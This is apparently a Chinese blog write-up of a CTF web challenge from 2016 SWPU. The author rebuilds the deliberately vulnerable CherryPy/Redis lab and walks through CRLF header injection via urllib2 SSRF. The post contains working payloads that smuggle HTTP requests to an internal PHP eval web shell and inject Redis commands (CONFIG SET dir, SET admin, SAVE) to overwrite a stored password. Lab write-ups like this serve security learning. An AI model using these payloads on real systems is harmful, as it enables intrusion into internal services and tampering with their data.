2016 SWPU web7的复现与思考

2016 SWPU比赛结束了,但是web7还是有点没有搞太懂,于是根据官方的wp来复现了一下,官方的wp地址:http://bobao.360.cn/ctf/detail/174.html

首先搭建环境,要安装的依赖是python的:cherrypy和redis(cherrypy的安装可以直接:pip install cherrypy,如果网速比较慢,可以下载我上传好的压缩包:http://download.csdn.net/detail/niexinming/9672396)

两个依赖都搭建好之后就,来搭建后台环境(后台环境是我根据官方的wp的描述自己写的)

首先web7.py

__author__ = 'niexinming'
#coding=utf-8
import cherrypy
import urllib2
import redis

class web7:
    @cherrypy.expose
    def index(self):
        return ""
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"
" except Exception,e: reheaders="错误"+str(e) file=file.replace("",reheaders) return file @cherrypy.expose def login(self,password="",submit=""): pool = redis.ConnectionPool(host='127.0.0.1', port=6379) r = redis.Redis(connection_pool=pool) re="" file=open("login.html","r").read() if cherrypy.request.method=="GET": re="" else: password=cherrypy.request.params["password"] submit=cherrypy.request.params["submit"] if r.get("admin")==password: re="flag{this_is_func}" else: re="Can't find admin:"+password+",fast fast fast....." file=file.replace("",re) return file cherrypy.quickstart(web7(),'/web7')


然后:index.html




    index


    
    


login

login.html




    
    login


Admin Login


如果要运行这个网站的话,直接python web7.py,然后访问:http://localhost:8080/web7/input ,就可以了

官方说有个脚本一直在修改redis的密码,changepassword.py

__author__ = 'niexinming'
import redis
import random
import time
while(1):
    pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
    r = redis.Redis(connection_pool=pool)
    password="".join(random.sample('abcdefghijklmnopqrstuvwxyz!@#$%^&*()',10))
    r.set("admin",password)
    time.sleep(3)


然后根据一个python头部注入的文章来实验:http://www.tuicool.com/articles/2iIj2eR

我发现有几个点很有趣,首先文章说:攻击者可以注入一个额外的完整的HTTP请求头,

给出的例子是(提示:下面说的所有例子数据之间放入输入框点提交就行,不需要额外编码)

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

我实验了一下,确实在apache的日志上留下两条访问的数据,一个是get的,一条是post的

我想能不能用注入的第二次post请求来攻击一个内网的网站,假设的场景是内网有个服务器已经有一个一句话木马了(@eval($_POST["a"]);),我能不能post一个指令去攻击呢?

我的攻击指令是:system('ls > test.txt');

我构造的代码:

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2feval.php%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Type%3Aapplication%2fx-www-form-urlencoded%0d%0aContent-Length%3a%2026%0d%0a%0d%0aa%3Dsystem%28%27ls%20%3E%20llll.txt%27%29%3B%0d%0a:12345/index.php

结果页面报错:

label empty or too long

而且没有任何执行成功的痕迹

我尝试把注入的代码中的:Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a  去掉,发现没有报错了,但是还是没有执行成功的痕迹我很郁闷,在shell中加入了一段代码:$data = file_get_contents("php://input");file_put_contents("test1.txt",$data); 在请求去掉Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a,发现test1.txt得到了post的原始数据,但是$_POST却没有任何反应,后来我查了资料说:

application/x-www-form-urlencoded: 窗体数据被编码为名称/值对。这是标准的编码格式。 multipart/form-data: 窗体数据被编码为一条消息,页上的每个控件对应消息中的一个部分。 text/plain: 窗体数据以纯文本形式进行编码,其中不含任何控件或格式字符。
补充
form的enctype属性为编码方式,常用有两种:application/x-www-form-urlencoded和multipart/form-data,默认为application/x-www-form-urlencoded。 当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2...),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。 如果没有type=file的控件,用默认的application/x-www-form-urlencoded就可以了。 但是如果有type=file的话,就要用到multipart/form-data了。浏览器会把整个表单以控件为单位分割,并为每个部分加上Content-Disposition(form-data或者file),Content-Type(默认为text/plain),name(控件name)等信息,并加上分割符(boundary)。(来自:http://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html)

而且php的$_POST死认Content-Type:application/x-www-form-urlencoded,没有这个http头部字段就不会从post中拿出数据,我不死心啊,如果去掉这个字段的话能不能让asp得到post的数据,结果是,不能!!!!

sad

没有办法,如果你内网的shell写成只能从post得到数据并执行的也只能认栽了!!

但是$_GET没有什么特别限制,如果你的shell是这么写的@eval($_GET["a"]);,那么你可以:

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aGET%20%2feval.php%3Fa%3Dsystem%2528%2527ls%2520%253E%2520hehe.txt%2527%2529%253B%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0a:80/index.php

这样,通过注入得到的get请求就可以让shell执行起来了(虽然这样干有点智障,但是:要时刻保持一个好奇的心很重要!!!!)


后面说一下跟这个题目的题解:当我用官方给的给的头部注入的代码来实验:

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo

发现这个代码直接放进输入框的时候报错:

label empty or too long

但是:

我如果把过程拆开来写的话就能成功:

改变数据库的保存位置:

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

改变数据:

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

最后只要不断发上面这个改变数据的请求代码,然后用admin做密码来登陆就能拿到flag了

你可能感兴趣的:(ctf的wp)